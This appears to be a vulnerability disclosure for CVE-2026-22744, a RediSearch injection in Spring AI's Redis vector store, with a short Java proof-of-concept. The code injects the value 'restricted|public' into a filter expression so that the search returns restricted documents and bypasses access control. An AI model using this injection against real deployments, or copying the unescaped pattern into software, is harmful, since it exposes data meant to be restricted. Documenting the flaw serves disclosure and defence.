CVE-2026-22744 Spring AI Redis Store 注入漏洞

/* * PoC for CVE-2026-22744: Spring AI RedisStore RediSearch Injection * This demonstrates how the application constructs a query using untrusted input. */ import org.springframework.ai.vectorstore.SearchRequest; import org.springframework.ai.vectorstore.filter.FilterExpressionBuilder; public class VulnerableSearchExample { public void performSearch(String userProvidedTag) { // Scenario: Attacker provides input with RediSearch syntax // Input: "restricted|public" (Attempts to search for 'restricted' OR 'public') String maliciousInput = "restricted|public"; // The application constructs a filter expression FilterExpressionBuilder builder = new FilterExpressionBuilder(); var filter = builder.eq("documentType", maliciousInput); // Vulnerable library call: RedisFilterExpressionConverter.stringValue() // Resulting RediSearch Query part: @documentType:{restricted|public} // Impact: Returns documents of type 'restricted' OR 'public', bypassing intended access control. SearchRequest request = SearchRequest.query("*").withFilterExpression(filter); // vectorStore.similaritySearch(request); } }